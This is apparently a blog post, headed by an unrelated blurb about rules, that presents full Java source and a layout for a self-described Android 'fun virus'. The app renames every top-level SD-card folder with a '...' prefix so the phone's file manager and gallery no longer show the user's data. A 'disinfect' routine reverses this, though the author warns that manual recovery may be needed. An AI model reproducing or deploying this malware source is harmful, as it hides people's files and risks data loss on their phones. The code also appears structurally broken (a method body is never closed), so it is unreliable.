Featured

Why we need RULES?

Rules are established principles or guidelines that dictate how something should be done or how situations should be handled. They are used to regulate behavior, ensure fairness, and maintain order in various contexts, such as society, organizations, games, and social settings. Rules can be formal or informal. Formal rules are codified and enforced by a governing body, such as laws, regulations, or contracts. Informal rules are unwritten and enforced by social pressure, such as social norms or etiquette. Rules can be helpful in many ways. They can: Ensure fairness by creating a level playing field for everyone. Protect people from harm by setting standards of behavior. Maintain order by providing a framework for behavior. However, rules can also be seen as restrictive or unfair. It is important to consider the purpose of a rule before deciding whether or not to follow it. For example, a speed limit may be seen as restrictive, but it is also designed to protect people from harm. A dress...

HOW TO MAKE A FUN VIRUS FOR ANDROID




After infecting






but yet it works in most cases



This posts include a simple program in android which is capable to invisible all the SD-Card content of phone from file manager,gallery and media scanner...

The basic idea behind it is only to hide/invisible the SD-Card content from phone.so Android OS gets unaware about that data and don't shows it up.....

In Android system folders having a dot "." as initial of its name considered as hidden .... so what we do is to make each SD-card folder to start with "..." to hide them ex- 'image' --> '...image'
and while disinfecting we have to remove those dots to unhide them from system....


here we are using three dots "..." as prefix to differ them from android system hidden files..

Source code:-

package com.example.fun_virus;



import java.io.File;
import java.util.ArrayList;
import java.util.List;

import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.Toast;

public class Fun_Virus_Activity extends Activity 
{
private File file;
private List<String> myList;

public void onCreate(Bundle savedInstanceState) 
{
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_fun__virus);
    
    myList = new ArrayList<String>();   

    String root_sd = Environment.getExternalStorageDirectory().toString();
    file = new File( root_sd + "/" ) ;       
    Button btn_infect = (Button) findViewById(R.id.btn_infect);
Button btn_disinfect = (Button) findViewById(R.id.btn_disinfect);
    
    btn_infect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
SharedPreferences settings = getSharedPreferences("mysp", MODE_PRIVATE);
 String inf = settings.getString("INFECTED","NO");
if(inf.equals("OK"))
{
Toast.makeText(Fun_Virus_Activity.this,"Already Infected", 5).show();
}else
{
infect();
 
    SharedPreferences.Editor prefEditor = settings.edit();
    prefEditor.putString("INFECTED", "OK");
   
    prefEditor.commit();
}
}
});
    
btn_disinfect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
disinfect();
Fun_Virus_Activity.this.getSharedPreferences("mysp", 0).edit().clear().commit();
}
});
    
    
    
    


public void infect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
//File file2 = new File(list[i].getParent()+"..."+myList.get(i));
Log.e("abs_path",list[i].getParent()+"/"+myList.get(i)+"");
//boolean success = file.renameTo(file2);

boolean success= file.renameTo(new File(list[i].getParent(),"..."+myList.get(i)));


        Log.e("bool",success+"" );
}
}

public void disinfect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
String aa= myList.get(i).replace("...", "");
Log.e("replace", aa+"");
boolean success= file.renameTo(new File(list[i].getParent(),aa));


        Log.e("bool",success+"" );
}
}


}



And the layout :-


<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
 android:background="@drawable/vrs_logo"
    tools:context=".Fun_Virus_Activity" >

    <Button
        android:id="@+id/btn_infect"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentLeft="true"
        android:layout_alignParentTop="true"
        android:layout_marginTop="32dp"
        android:text="INFECT" />

    <Button
        android:id="@+id/btn_disinfect"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignBaseline="@+id/btn_infect"
        android:layout_alignBottom="@+id/btn_infect"
        android:layout_alignParentRight="true"
        android:text="DISINFECT" />

</RelativeLayout>

**
In a condition when all previous data is not visible after disinfecting then you have to manually recover those data using file explorer like:-Es File Explorer,AndroZip etc..
you should rename folders with "..." prefix to there original name ex:- '...image' -->'image' 
This will show data again.

Comments